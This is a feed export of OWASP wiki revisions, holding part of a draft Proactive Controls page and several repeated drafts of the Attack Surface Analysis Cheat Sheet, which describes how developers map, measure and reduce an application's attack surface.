&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
TODO: Log Injection&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business logic abuse cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. Business logic requirements should also include failure scenarios (what happens if a step fails or if someone tries to repeat a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  These abuse cases would describe how the application's functions could be subverted by attackers. Thinking about failures and edge cases and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the system.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Designing secure software is a strategic effort where business, technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built.  This is not an easy endeavor.&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Another important part of secure architecture and design is tiering and trust – deciding what is done in the UI, the web layer, the business layer, the data layer, and introducing trust zones/boundaries into this. What is inside/outside of a trust zone/boundary, what sources can be trusted, what cannot be. Attack Surface also comes into architecture/design. Creating an awareness of the system’s Attack Surface, trying to minimize it where possible, understanding when/how you are increasing it and understanding that this increases the risks of attack. For example, anonymous public access to the system, file uploads and interfaces to external systems are all potentially serious sources of security risk. Platform selection: language(s), O/S, web server, database or NOSQL data manager, etc. These architectural choices result in technology-specific security risks and constraints that the team needs to learn about and understand. Know your tools.&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135379</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135379"/>
				<updated>2012-09-05T17:41:17Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important? =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is usually done by security architects and pen testers. But developers should understand and monitor the Attack Surface as they design and build and change a system.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start building a baseline description of the Attack Surface in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system and again by reviewing the source code. &lt;br /&gt;
&lt;br /&gt;
You can build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like the [[OWASP_Zed_Attack_Proxy_Project]] or [http://arachni-scanner.com/ Arachni] or [http://code.google.com/p/skipfish/ Skipfish] or [http://w3af.sourceforge.net/ w3af] or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: signing up and creating a user profile, logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135378</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135378"/>
				<updated>2012-09-05T17:34:44Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important? =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start building a baseline description of the Attack Surface in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system and again by reviewing the source code. &lt;br /&gt;
&lt;br /&gt;
You can build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like the [[OWASP_Zed_Attack_Proxy_Project]] or [http://arachni-scanner.com/ Arachni] or [http://code.google.com/p/skipfish/ Skipfish] or [http://w3af.sourceforge.net/ w3af] or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135369</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135369"/>
				<updated>2012-09-05T17:01:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important? =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
